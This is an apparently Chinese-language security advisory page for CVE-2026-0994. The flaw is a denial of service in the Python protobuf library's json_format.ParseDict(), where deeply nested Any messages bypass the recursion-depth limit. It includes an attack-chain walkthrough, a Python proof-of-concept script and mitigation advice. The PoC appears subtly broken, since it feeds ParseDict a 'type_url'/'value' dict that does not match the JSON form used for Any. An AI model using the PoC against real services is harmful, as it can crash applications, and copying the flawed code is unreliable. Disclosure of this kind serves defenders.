IPBUF安全漏洞报告
English
CVE-2026-0994 CVSS 7.5 高危

CVE-2026-0994 google.protobuf json_format.ParseDict() 拒绝服务漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0994
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
google.protobuf (Python)

相关标签

拒绝服务递归深度绕过google.protobufPythonAny消息ParseDictRecursionErrorCVE-2026-0994

漏洞概述

CVE-2026-0994是一个存在于google protobuf Python库中的拒绝服务漏洞。该漏洞位于google.protobuf.json_format.ParseDict()函数中,由于内部Any处理逻辑缺少递归深度计数,攻击者可以通过提供深度嵌套的google.protobuf.Any结构来绕过预设的max_recursion_depth限制。当ParseDict()函数解析这些深度嵌套的Any消息时,递归深度检查机制失效,导致Python的递归栈被耗尽,最终引发RecursionError异常。这种攻击可导致使用该库的应用服务中断,造成拒绝服务的效果。由于该函数常用于处理外部输入的JSON格式protobuf数据,攻击者可以通过构造恶意的嵌套Any消息来远程触发该漏洞,无需任何认证即可利用。

技术细节

google.protobuf.json_format.ParseDict()是protobuf库提供的用于将Python字典解析为protobuf消息的工具函数。该函数内部实现了递归深度检查机制,通过max_recursion_depth参数限制最大递归深度以防止栈溢出。然而,在处理google.protobuf.Any类型的嵌套消息时,Any处理逻辑绕过了主递归深度检查。具体来说,当ParseDict()遇到Any类型的字段时,会递归地解析Any中打包的任意类型消息,但这个内部解析过程没有正确计入主递归深度计数器。攻击者可以构造类似Any{type_url='type.googleapis.com/SomeMessage',value=Any{type_url='type.googleapis.com/SomeMessage',value=Any{...}}}的深度嵌套结构,每层Any都包含另一个Any消息。由于Any解析逻辑的递归调用不增加主递归深度计数,当嵌套深度超过Python默认递归限制(通常为1000左右)时,会触发RecursionError。该漏洞的利用条件简单,只需构造足够深度的嵌套Any结构即可,无需特殊权限或用户交互。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用中使用google.protobuf.json_format.ParseDict()处理外部输入的位置
STEP 2
步骤2
攻击者构造包含深度嵌套google.protobuf.Any消息的恶意JSON数据结构
STEP 3
步骤3
攻击者向目标应用发送包含恶意嵌套Any结构的请求
STEP 4
步骤4
ParseDict()函数解析嵌套Any消息时,Any处理逻辑绕过max_recursion_depth检查
STEP 5
步骤5
递归深度超过Python限制,触发RecursionError,导致应用崩溃
STEP 6
步骤6
目标服务不可用,实现拒绝服务攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
from google.protobuf.json_format import ParseDict from google.protobuf import any_pb2 import sys # Create deeply nested Any messages to trigger DoS def create_nested_any(depth): """Create a deeply nested Any message structure""" inner = any_pb2.Any() inner.type_url = 'type.googleapis.com/google.protobuf.Any' current = inner for i in range(depth - 1): next_any = any_pb2.Any() next_any.type_url = 'type.googleapis.com/google.protobuf.Any' current.value = next_any.SerializeToString() current = next_any return inner # Test PoC for CVE-2026-0994 def test_cve_2026_0994(): print("Testing CVE-2026-0994: DoS via nested Any messages") print("Creating deeply nested Any structure...") # Create nested structure with depth exceeding Python recursion limit nested_any = create_nested_any(1500) # Convert to dict format for ParseDict nested_dict = { 'type_url': nested_any.type_url, 'value': nested_any.value } print(f"Attempting to parse nested Any with depth 1500...") try: result = any_pb2.Any() ParseDict(nested_dict, result) print("Parsing completed without error (unexpected)") except RecursionError as e: print(f"RecursionError triggered as expected: {e}") print("Vulnerability confirmed: max_recursion_depth bypassed") return True except Exception as e: print(f"Other error occurred: {type(e).__name__}: {e}") return False if __name__ == "__main__": test_cve_2026_0994()

影响范围

google.protobuf < 修复版本
protobuf Python库所有版本(截至2026-01-23)

防御指南

临时缓解措施
在未安装官方补丁前,可以通过以下措施临时缓解:1)对输入JSON数据进行预验证,限制嵌套深度和消息大小;2)在应用层实现递归深度监控,发现异常立即终止处理;3)限制Any消息的解析深度,添加自定义的深度检查逻辑;4)使用Web应用防火墙过滤异常大的嵌套数据结构请求;5)监控服务异常重启和RecursionError日志,及时发现攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表